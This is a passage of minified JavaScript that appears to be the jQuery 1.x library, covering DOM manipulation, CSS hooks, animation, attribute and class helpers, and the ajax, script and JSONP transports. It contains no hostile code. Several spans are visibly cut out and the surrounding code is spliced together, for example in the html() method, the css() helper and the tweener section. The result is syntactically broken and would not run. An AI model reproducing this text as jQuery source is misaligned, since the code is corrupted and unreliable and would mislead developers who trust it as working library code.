o.events)c[r]?pe.event.remove(n,r):pe.removeEvent(n,r,o.handle);u[i]&&(delete u[i],l||"undefined"==typeof n.removeAttribute?n[s]=void 0:n.removeAttribute(s),ne.push(i))}}}),pe.fn.extend({domManip:S,detach:function(e){return A(this,e,!0)},remove:function(e){return A(this,e)},text:function(e){return Pe(this,function(e){return void 0===e?pe.text(this):this.empty().append((this[0]&&this[0].ownerDocument||re).createTextNode(e))},null,e,arguments.length)},append:function(){return S(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=T(this,e);t.appendChild(e)}})},prepend:function(){return S(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=T(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return S(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return S(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++){for(1===e.nodeType&&pe.cleanData(h(e,!1));e.firstChild;)e.removeChild(e.firstChild);e.options&&pe.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return pe.clone(this,e,t)})},html:function(e){return Pe(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e)return 1===t.nodeType?t.innerHTML.replace(Ze,""):void 0;if("string"==typeof e&&!nt.test(e)&&(fe.htmlSerialize||!et.test(e))&&(fe.leadingWhitespace||!$e.test(e))&&!Xe[(We.exec(e)||["",""])[1].toLowerCase()]){e=pe.htmlPrefilter(e);try{for(;nt",l.childNodes[0].style.borderCollapse="separate",t=l.getElementsByTagName("td"),t[0].style.cssText="margin:0;border:0;padding:0;display:none",o=0===t[0].offsetHeight,o&&(t[0].style.display="",t[1].style.display="none",o=0===t[0].offsetHeight)),f.removeChild(u)}var n,r,i,o,a,s,u=re.createElement("div"),l=re.createElement("div");l.style&&(l.style.cssText="float:left;opacity:.5",fe.opacity="0.5"===l.style.opacity,fe.cssFloat=!!l.style.cssFloat,l.style.backgroundClip="content-box",l.cloneNode(!0).style.backgroundClip="",fe.clearCloneStyle="content-box"===l.style.backgroundClip,u=re.createElement("div"),u.style.cssText="border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",l.innerHTML="",u.appendChild(l),fe.boxSizing=""===l.style.boxSizing||""===l.style.MozBoxSizing||""===l.style.WebkitBoxSizing,pe.extend(fe,{reliableHiddenOffsets:function(){return null==n&&t(),o},boxSizingReliable:function(){return null==n&&t(),i},pixelMarginRight:function(){return null==n&&t(),r},pixelPosition:function(){return null==n&&t(),n},reliableMarginRight:function(){return null==n&&t(),a},reliableMarginLeft:function(){return null==n&&t(),s}}))}();var ht,gt,mt=/^(top|right|bottom|left)$/;e.getComputedStyle?(ht=function(t){var n=t.ownerDocument.defaultView;return n&&n.opener||(n=e),n.getComputedStyle(t)},gt=function(e,t,n){var r,i,o,a,s=e.style;return n=n||ht(e),a=n?n.getPropertyValue(t)||n[t]:void 0,""!==a&&void 0!==a||pe.contains(e.ownerDocument,e)||(a=pe.style(e,t)),n&&!fe.pixelMarginRight()&&ft.test(a)&&ct.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o),void 0===a?a:a+""}):pt.currentStyle&&(ht=function(e){return e.currentStyle},gt=function(e,t,n){var r,i,o,a,s=e.style;return n=n||ht(e),a=n?n[t]:void 0,null==a&&s&&s[t]&&(a=s[t]),ft.test(a)&&!mt.test(t)&&(r=s.left,i=e.runtimeStyle,o=i&&i.left,o&&(i.left=e.currentStyle.left),s.left="fontSize"===t?"1em":a,a=s.pixelLeft+"px",s.left=r,o&&(i.left=o)),void 0===a?a:a+""||"auto"});var yt=/alpha\([^)]*\)/i,vt=/opacity\s*=\s*([^)]*)/i,xt=/^(none|table(?!-c[ea]).+)/,bt=new RegExp("^("+Fe+")(.*)$","i"),wt={position:"absolute",visibility:"hidden",display:"block"},Tt={letterSpacing:"0",fontWeight:"400"},Ct=["Webkit","O","Moz","ms"],Et=re.createElement("div").style;pe.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=gt(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":fe.cssFloat?"cssFloat":"styleFloat"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=pe.camelCase(t),u=e.style;if(t=pe.cssProps[s]||(pe.cssProps[s]=H(s)||s),a=pe.cssHooks[t]||pe.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:u[t];if(o=typeof n,"string"===o&&(i=Me.exec(n))&&i[1]&&(n=d(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(pe.cssNumber[s]?"":"px")),fe.clearCloneStyle||""!==n||0!==t.indexOf("background")||(u[t]="inherit"),!(a&&"set"in a&&void 0===(n=a.set(e,n,r)))))try{u[t]=n}catch(l){}}},css:function(e,t,n,r){var i,o,a,s=pe.camelCase(t);return t=pe.cssProps[s]||(pe.cssProps[s]=H(s)||s),a=pe.cssHooks[t]||pe.cssHooks[s],a&&"get"in a&&(o=a.get(e,!0,n)),void 0===o&&(o=gt(e,t,r)),"normal"===o&&t in Tt&&(o=Tt[t]),""===n||n?(i=parseFloat(o),n===!0||isFinite(i)?i||0:o):o}}),pe.each(["height","width"],function(e,t){pe.cssHooks[t]={get:function(e,n,r){if(n)return xt.test(pe.css(e,"display"))&&0===e.offsetWidth?dt(e,wt,function(){return M(e,t,r)}):M(e,t,r)},set:function(e,n,r){var i=r&&ht(e);return _(e,n,r?F(e,t,r,fe.boxSizing&&"border-box"===pe.css(e,"boxSizing",!1,i),i):0)}}}),fe.opacity||(pe.cssHooks.opacity={get:function(e,t){return vt.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=pe.isNumeric(t)?"alpha(opacity="+100*t+")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===pe.trim(o.replace(yt,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=yt.test(o)?o.replace(yt,i):o+" "+i)}}),pe.cssHooks.marginRight=L(fe.reliableMarginRight,function(e,t){if(t)return dt(e,{display:"inline-block"},gt,[e,"marginRight"])}),pe.cssHooks.marginLeft=L(fe.reliableMarginLeft,function(e,t){if(t)return(parseFloat(gt(e,"marginLeft"))||(pe.contains(e.ownerDocument,e)?e.getBoundingClientRect().left-dt(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}):0))+"px"}),pe.each({margin:"",padding:"",border:"Width"},function(e,t){pe.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+Oe[r]+t]=o[r]||o[r-2]||o[0];return i}},ct.test(e)||(pe.cssHooks[e+t].set=_)}),pe.fn.extend({css:function(e,t){return Pe(this,function(e,t,n){var r,i,o={},a=0;if(pe.isArray(t)){for(r=ht(e),i=t.length;a1)},show:function(){return q(this,!0)},hide:function(){return q(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){Re(this)?pe(this).show():pe(this).hide()})}}),pe.Tween=O,O.prototype={constructor:O,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||pe.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(pe.cssNumber[n]?"":"px")},cur:function(){var e=O.propHooks[this.prop];return e&&e.get?e.get(this):O.propHooks._default.get(this)},run:function(e){var t,n=O.propHooks[this.prop];return this.options.duration?this.pos=t=pe.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):O.propHooks._default.set(this),this}},O.prototype.init.prototype=O.prototype,O.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=pe.css(e.elem,e.prop,""),t&&"auto"!==t?t:0)},set:function(e){pe.fx.step[e.prop]?pe.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[pe.cssProps[e.prop]]&&!pe.cssHooks[e.prop]?e.elem[e.prop]=e.now:pe.style(e.elem,e.prop,e.now+e.unit)}}},O.propHooks.scrollTop=O.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},pe.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},pe.fx=O.prototype.init,pe.fx.step={};var Nt,kt,St=/^(?:toggle|show|hide)$/,At=/queueHooks$/;pe.Animation=pe.extend($,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return d(n.elem,e,Me.exec(t),n),n}]},tweener:function(e,t){pe.isFunction(e)?(t=e,e=["*"]):e=e.match(De);for(var n,r=0,i=e.length;r
    a",e=n.getElementsByTagName("a")[0],t.setAttribute("type","checkbox"),n.appendChild(t),e=n.getElementsByTagName("a")[0],e.style.cssText="top:1px",fe.getSetAttribute="t"!==n.className,fe.style=/top/.test(e.getAttribute("style")),fe.hrefNormalized="/a"===e.getAttribute("href"),fe.checkOn=!!t.value,fe.optSelected=i.selected,fe.enctype=!!re.createElement("form").enctype,r.disabled=!0,fe.optDisabled=!i.disabled,t=re.createElement("input"),t.setAttribute("value",""),fe.input=""===t.getAttribute("value"),t.value="t",t.setAttribute("type","radio"),fe.radioValue="t"===t.value}();var Dt=/\r/g,jt=/[\x20\t\r\n\f]+/g;pe.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=pe.isFunction(e),this.each(function(n){var i;1===this.nodeType&&(i=r?e.call(this,n,pe(this).val()):e,null==i?i="":"number"==typeof i?i+="":pe.isArray(i)&&(i=pe.map(i,function(e){return null==e?"":e+""})),t=pe.valHooks[this.type]||pe.valHooks[this.nodeName.toLowerCase()],t&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return t=pe.valHooks[i.type]||pe.valHooks[i.nodeName.toLowerCase()],t&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:(n=i.value,"string"==typeof n?n.replace(Dt,""):null==n?"":n)}}}),pe.extend({valHooks:{option:{get:function(e){var t=pe.find.attr(e,"value");return null!=t?t:pe.trim(pe.text(e)).replace(jt," ")}},select:{get:function(e){for(var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||i<0,a=o?null:[],s=o?i+1:r.length,u=i<0?s:o?i:0;u-1)try{r.selected=n=!0}catch(s){r.scrollHeight}else r.selected=!1;return n||(e.selectedIndex=-1),i}}}}),pe.each(["radio","checkbox"],function(){pe.valHooks[this]={set:function(e,t){if(pe.isArray(t))return e.checked=pe.inArray(pe(e).val(),t)>-1}},fe.checkOn||(pe.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Lt,Ht,qt=pe.expr.attrHandle,_t=/^(?:checked|selected)$/i,Ft=fe.getSetAttribute,Mt=fe.input;pe.fn.extend({attr:function(e,t){return Pe(this,pe.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){pe.removeAttr(this,e)})}}),pe.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?pe.prop(e,t,n):(1===o&&pe.isXMLDoc(e)||(t=t.toLowerCase(),i=pe.attrHooks[t]||(pe.expr.match.bool.test(t)?Ht:Lt)),void 0!==n?null===n?void pe.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:(r=pe.find.attr(e,t),null==r?void 0:r))},attrHooks:{type:{set:function(e,t){if(!fe.radioValue&&"radio"===t&&pe.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(De);if(o&&1===e.nodeType)for(;n=o[i++];)r=pe.propFix[n]||n,pe.expr.match.bool.test(n)?Mt&&Ft||!_t.test(n)?e[r]=!1:e[pe.camelCase("default-"+n)]=e[r]=!1:pe.attr(e,n,""),e.removeAttribute(Ft?n:r)}}),Ht={set:function(e,t,n){return t===!1?pe.removeAttr(e,n):Mt&&Ft||!_t.test(n)?e.setAttribute(!Ft&&pe.propFix[n]||n,n):e[pe.camelCase("default-"+n)]=e[n]=!0,n}},pe.each(pe.expr.match.bool.source.match(/\w+/g),function(e,t){var n=qt[t]||pe.find.attr;Mt&&Ft||!_t.test(t)?qt[t]=function(e,t,r){var i,o;return r||(o=qt[t],qt[t]=i,i=null!=n(e,t,r)?t.toLowerCase():null,qt[t]=o),i}:qt[t]=function(e,t,n){if(!n)return e[pe.camelCase("default-"+t)]?t.toLowerCase():null}}),Mt&&Ft||(pe.attrHooks.value={set:function(e,t,n){return pe.nodeName(e,"input")?void(e.defaultValue=t):Lt&&Lt.set(e,t,n)}}),Ft||(Lt={set:function(e,t,n){var r=e.getAttributeNode(n);if(r||e.setAttributeNode(r=e.ownerDocument.createAttribute(n)),r.value=t+="","value"===n||t===e.getAttribute(n))return t}},qt.id=qt.name=qt.coords=function(e,t,n){var r;if(!n)return(r=e.getAttributeNode(t))&&""!==r.value?r.value:null},pe.valHooks.button={get:function(e,t){var n=e.getAttributeNode(t);if(n&&n.specified)return n.value},set:Lt.set},pe.attrHooks.contenteditable={set:function(e,t,n){Lt.set(e,""!==t&&t,n)}},pe.each(["width","height"],function(e,t){pe.attrHooks[t]={set:function(e,n){if(""===n)return e.setAttribute(t,"auto"),n}}})),fe.style||(pe.attrHooks.style={get:function(e){return e.style.cssText||void 0},set:function(e,t){return e.style.cssText=t+""}});var Ot=/^(?:input|select|textarea|button|object)$/i,Rt=/^(?:a|area)$/i;pe.fn.extend({prop:function(e,t){return Pe(this,pe.prop,e,t,arguments.length>1)},removeProp:function(e){return e=pe.propFix[e]||e,this.each(function(){try{this[e]=void 0,delete this[e]}catch(t){}})}}),pe.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&pe.isXMLDoc(e)||(t=pe.propFix[t]||t,i=pe.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=pe.find.attr(e,"tabindex");return t?parseInt(t,10):Ot.test(e.nodeName)||Rt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),fe.hrefNormalized||pe.each(["href","src"],function(e,t){pe.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),fe.optSelected||(pe.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),pe.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){pe.propFix[this.toLowerCase()]=this}),fe.enctype||(pe.propFix.enctype="encoding");var Pt=/[\t\r\n\f]/g;pe.fn.extend({addClass:function(e){var t,n,r,i,o,a,s,u=0;if(pe.isFunction(e))return this.each(function(t){pe(this).addClass(e.call(this,t,z(this)))});if("string"==typeof e&&e)for(t=e.match(De)||[];n=this[u++];)if(i=z(n),r=1===n.nodeType&&(" "+i+" ").replace(Pt," ")){for(a=0;o=t[a++];)r.indexOf(" "+o+" ")<0&&(r+=o+" ");s=pe.trim(r),i!==s&&pe.attr(n,"class",s)}return this},removeClass:function(e){var t,n,r,i,o,a,s,u=0;if(pe.isFunction(e))return this.each(function(t){pe(this).removeClass(e.call(this,t,z(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof e&&e)for(t=e.match(De)||[];n=this[u++];)if(i=z(n),r=1===n.nodeType&&(" "+i+" ").replace(Pt," ")){for(a=0;o=t[a++];)for(;r.indexOf(" "+o+" ")>-1;)r=r.replace(" "+o+" "," ");s=pe.trim(r),i!==s&&pe.attr(n,"class",s)}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.removeClass(e):pe.isFunction(e)?this.each(function(n){pe(this).toggleClass(e.call(this,n,z(this),t),t)}):this.each(function(){var t,r,i,o;if("string"===n)for(r=0,i=pe(this),o=e.match(De)||[];t=o[r++];)i.hasClass(t)?i.removeClass(t):i.addClass(t);else void 0!==e&&"boolean"!==n||(t=z(this),t&&pe._data(this,"__className__",t),pe.attr(this,"class",t||e===!1?"":pe._data(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;for(t=" "+e+" ";n=this[r++];)if(1===n.nodeType&&(" "+z(n)+" ").replace(Pt," ").indexOf(t)>-1)return!0;return!1}}),pe.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){pe.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),pe.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}});var Bt=e.location,Wt=pe.now(),It=/\?/,$t=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;pe.parseJSON=function(t){if(e.JSON&&e.JSON.parse)return e.JSON.parse(t+"");var n,r=null,i=pe.trim(t+"");return i&&!pe.trim(i.replace($t,function(e,t,i,o){return n&&t&&(r=0),0===r?e:(n=i||t,r+=!o-!i,"")}))?Function("return "+i)():pe.error("Invalid JSON: "+t)},pe.parseXML=function(t){var n,r;if(!t||"string"!=typeof t)return null;try{e.DOMParser?(r=new e.DOMParser,n=r.parseFromString(t,"text/xml")):(n=new e.ActiveXObject("Microsoft.XMLDOM"),n.async="false",n.loadXML(t))}catch(i){n=void 0}return n&&n.documentElement&&!n.getElementsByTagName("parsererror").length||pe.error("Invalid XML: "+t),n};var zt=/#.*$/,Xt=/([?&])_=[^&]*/,Ut=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Vt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Yt=/^(?:GET|HEAD)$/,Jt=/^\/\//,Gt=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,Kt={},Qt={},Zt="*/".concat("*"),en=Bt.href,tn=Gt.exec(en.toLowerCase())||[];pe.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:en,type:"GET",isLocal:Vt.test(tn[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Zt,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":pe.parseJSON,"text xml":pe.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?V(V(e,pe.ajaxSettings),t):V(pe.ajaxSettings,e)},ajaxPrefilter:X(Kt),ajaxTransport:X(Qt),ajax:function(t,n){function r(t,n,r,i){var o,f,v,x,w,C=n;2!==b&&(b=2,u&&e.clearTimeout(u),c=void 0,s=i||"",T.readyState=t>0?4:0,o=t>=200&&t<300||304===t,r&&(x=Y(d,T,r)),x=J(d,x,T,o),o?(d.ifModified&&(w=T.getResponseHeader("Last-Modified"),w&&(pe.lastModified[a]=w),w=T.getResponseHeader("etag"),w&&(pe.etag[a]=w)),204===t||"HEAD"===d.type?C="nocontent":304===t?C="notmodified":(C=x.state,f=x.data,v=x.error,o=!v)):(v=C,!t&&C||(C="error",t<0&&(t=0))),T.status=t,T.statusText=(n||C)+"",o?g.resolveWith(p,[f,C,T]):g.rejectWith(p,[T,C,v]),T.statusCode(y),y=void 0,l&&h.trigger(o?"ajaxSuccess":"ajaxError",[T,d,o?f:v]),m.fireWith(p,[T,C]),l&&(h.trigger("ajaxComplete",[T,d]),--pe.active||pe.event.trigger("ajaxStop")))}"object"==typeof t&&(n=t,t=void 0),n=n||{};var i,o,a,s,u,l,c,f,d=pe.ajaxSetup({},n),p=d.context||d,h=d.context&&(p.nodeType||p.jquery)?pe(p):pe.event,g=pe.Deferred(),m=pe.Callbacks("once memory"),y=d.statusCode||{},v={},x={},b=0,w="canceled",T={readyState:0,getResponseHeader:function(e){var t;if(2===b){if(!f)for(f={};t=Ut.exec(s);)f[t[1].toLowerCase()]=t[2];t=f[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===b?s:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return b||(e=x[n]=x[n]||e,v[e]=t),this},overrideMimeType:function(e){return b||(d.mimeType=e),this},statusCode:function(e){var t;if(e)if(b<2)for(t in e)y[t]=[y[t],e[t]];else T.always(e[T.status]);return this},abort:function(e){var t=e||w;return c&&c.abort(t),r(0,t),this}};if(g.promise(T).complete=m.add,T.success=T.done,T.error=T.fail,d.url=((t||d.url||en)+"").replace(zt,"").replace(Jt,tn[1]+"//"),d.type=n.method||n.type||d.method||d.type,d.dataTypes=pe.trim(d.dataType||"*").toLowerCase().match(De)||[""],null==d.crossDomain&&(i=Gt.exec(d.url.toLowerCase()),d.crossDomain=!(!i||i[1]===tn[1]&&i[2]===tn[2]&&(i[3]||("http:"===i[1]?"80":"443"))===(tn[3]||("http:"===tn[1]?"80":"443")))),d.data&&d.processData&&"string"!=typeof d.data&&(d.data=pe.param(d.data,d.traditional)),U(Kt,d,n,T),2===b)return T;l=pe.event&&d.global,l&&0===pe.active++&&pe.event.trigger("ajaxStart"),d.type=d.type.toUpperCase(),d.hasContent=!Yt.test(d.type),a=d.url,d.hasContent||(d.data&&(a=d.url+=(It.test(a)?"&":"?")+d.data,delete d.data),d.cache===!1&&(d.url=Xt.test(a)?a.replace(Xt,"$1_="+Wt++):a+(It.test(a)?"&":"?")+"_="+Wt++)),d.ifModified&&(pe.lastModified[a]&&T.setRequestHeader("If-Modified-Since",pe.lastModified[a]),pe.etag[a]&&T.setRequestHeader("If-None-Match",pe.etag[a])),(d.data&&d.hasContent&&d.contentType!==!1||n.contentType)&&T.setRequestHeader("Content-Type",d.contentType),T.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+("*"!==d.dataTypes[0]?", "+Zt+"; q=0.01":""):d.accepts["*"]);for(o in d.headers)T.setRequestHeader(o,d.headers[o]);if(d.beforeSend&&(d.beforeSend.call(p,T,d)===!1||2===b))return T.abort();w="abort";for(o in{success:1,error:1,complete:1})T[o](d[o]);if(c=U(Qt,d,n,T)){if(T.readyState=1,l&&h.trigger("ajaxSend",[T,d]),2===b)return T;d.async&&d.timeout>0&&(u=e.setTimeout(function(){T.abort("timeout")},d.timeout));try{b=1,c.send(v,r)}catch(C){if(!(b<2))throw C;r(-1,C)}}else r(-1,"No Transport");return T},getJSON:function(e,t,n){return pe.get(e,t,n,"json")},getScript:function(e,t){return pe.get(e,void 0,t,"script")}}),pe.each(["get","post"],function(e,t){pe[t]=function(e,n,r,i){return pe.isFunction(n)&&(i=i||r,r=n,n=void 0),pe.ajax(pe.extend({url:e,type:t,dataType:i,data:n,success:r},pe.isPlainObject(e)&&e))}}),pe._evalUrl=function(e){return pe.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},pe.fn.extend({wrapAll:function(e){if(pe.isFunction(e))return this.each(function(t){pe(this).wrapAll(e.call(this,t))});if(this[0]){var t=pe(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var e=this;e.firstChild&&1===e.firstChild.nodeType;)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return pe.isFunction(e)?this.each(function(t){pe(this).wrapInner(e.call(this,t))}):this.each(function(){var t=pe(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=pe.isFunction(e);return this.each(function(n){pe(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){pe.nodeName(this,"body")||pe(this).replaceWith(this.childNodes)}).end()}}),pe.expr.filters.hidden=function(e){return fe.reliableHiddenOffsets()?e.offsetWidth<=0&&e.offsetHeight<=0&&!e.getClientRects().length:K(e)},pe.expr.filters.visible=function(e){return!pe.expr.filters.hidden(e)};var nn=/%20/g,rn=/\[\]$/,on=/\r?\n/g,an=/^(?:submit|button|image|reset|file)$/i,sn=/^(?:input|select|textarea|keygen)/i;pe.param=function(e,t){var n,r=[],i=function(e,t){t=pe.isFunction(t)?t():null==t?"":t,r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};if(void 0===t&&(t=pe.ajaxSettings&&pe.ajaxSettings.traditional),pe.isArray(e)||e.jquery&&!pe.isPlainObject(e))pe.each(e,function(){i(this.name,this.value)});else for(n in e)Q(n,e[n],t,i);return r.join("&").replace(nn,"+")},pe.fn.extend({serialize:function(){return pe.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=pe.prop(this,"elements");return e?pe.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!pe(this).is(":disabled")&&sn.test(this.nodeName)&&!an.test(e)&&(this.checked||!Be.test(e))}).map(function(e,t){var n=pe(this).val();return null==n?null:pe.isArray(n)?pe.map(n,function(e){return{name:t.name,value:e.replace(on,"\r\n")}}):{name:t.name,value:n.replace(on,"\r\n")}}).get()}}),pe.ajaxSettings.xhr=void 0!==e.ActiveXObject?function(){return this.isLocal?ee():re.documentMode>8?Z():/^(get|post|head|put|delete|options)$/i.test(this.type)&&Z()||ee()}:Z;var un=0,ln={},cn=pe.ajaxSettings.xhr();e.attachEvent&&e.attachEvent("onunload",function(){for(var e in ln)ln[e](void 0,!0)}),fe.cors=!!cn&&"withCredentials"in cn,cn=fe.ajax=!!cn,cn&&pe.ajaxTransport(function(t){if(!t.crossDomain||fe.cors){var n;return{send:function(r,i){var o,a=t.xhr(),s=++un;if(a.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(o in t.xhrFields)a[o]=t.xhrFields[o];t.mimeType&&a.overrideMimeType&&a.overrideMimeType(t.mimeType),t.crossDomain||r["X-Requested-With"]||(r["X-Requested-With"]="XMLHttpRequest");for(o in r)void 0!==r[o]&&a.setRequestHeader(o,r[o]+"");a.send(t.hasContent&&t.data||null),n=function(e,r){var o,u,l;if(n&&(r||4===a.readyState))if(delete ln[s],n=void 0,a.onreadystatechange=pe.noop,r)4!==a.readyState&&a.abort();else{l={},o=a.status,"string"==typeof a.responseText&&(l.text=a.responseText);try{u=a.statusText}catch(c){u=""}o||!t.isLocal||t.crossDomain?1223===o&&(o=204):o=l.text?200:404}l&&i(o,u,l,a.getAllResponseHeaders())},t.async?4===a.readyState?e.setTimeout(n):a.onreadystatechange=ln[s]=n:n()},abort:function(){n&&n(void 0,!0)}}}}),pe.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return pe.globalEval(e),e}}}),pe.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),pe.ajaxTransport("script",function(e){if(e.crossDomain){var t,n=re.head||pe("head")[0]||re.documentElement;return{send:function(r,i){t=re.createElement("script"),t.async=!0,e.scriptCharset&&(t.charset=e.scriptCharset),t.src=e.url,t.onload=t.onreadystatechange=function(e,n){(n||!t.readyState||/loaded|complete/.test(t.readyState))&&(t.onload=t.onreadystatechange=null,t.parentNode&&t.parentNode.removeChild(t),t=null,n||i(200,"success"))},n.insertBefore(t,n.firstChild)},abort:function(){t&&t.onload(void 0,!0)}}}});var fn=[],dn=/(=)\?(?=&|$)|\?\?/;pe.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=fn.pop()||pe.expando+"_"+Wt++;return this[e]=!0,e}}),pe.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=t.jsonp!==!1&&(dn.test(t.url)?"url":"string"==typeof t.data&&0===(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&dn.test(t.data)&&"data");if(s||"jsonp"===t.dataTypes[0])return i=t.jsonpCallback=pe.isFunction(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(dn,"$1"+i):t.jsonp!==!1&&(t.url+=(It.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a||pe.error(i+" was not called"),a[0]},t.dataTypes[0]="json",o=e[i],e[i]=function(){a=arguments},r.always(function(){void 0===o?pe(e).removeProp(i):e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,fn.push(i)),a&&pe.isFunction(o)&&o(a[0]),a=o=void 